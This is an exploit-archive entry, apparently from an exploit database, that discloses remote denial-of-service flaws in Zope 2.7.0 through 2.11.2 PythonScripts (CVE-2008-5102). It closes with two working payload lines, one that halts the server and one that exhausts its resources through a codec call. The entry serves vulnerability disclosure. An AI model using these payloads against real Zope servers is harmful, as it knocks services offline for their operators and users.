Zope 2.11.2 - PythonScript Multiple Remote Denial of Service Vulnerabilities

Author: Marc-Andre Lemburg
type: dos
platform: multiple
port: 0
date_added: 2008-11-12
date_updated: 2014-03-30
verified: 1
codes: CVE-2008-5102;OSVDB-50487
tags: 
aliases: 
screenshot_url: 
application_url: 

source: https://www.securityfocus.com/bid/32267/info

Zope is prone to multiple remote denial-of-service vulnerabilities.

Remote attackers can exploit this issue to cause the Zope server to halt or to consume excessive server resources, resulting in denial-of-service conditions.

These issues affect Zope 2.7.0 through 2.11.2.

To halt the application:
raise SystemExit

To consume excessive resources:
return 'foo'.encode('test.testall')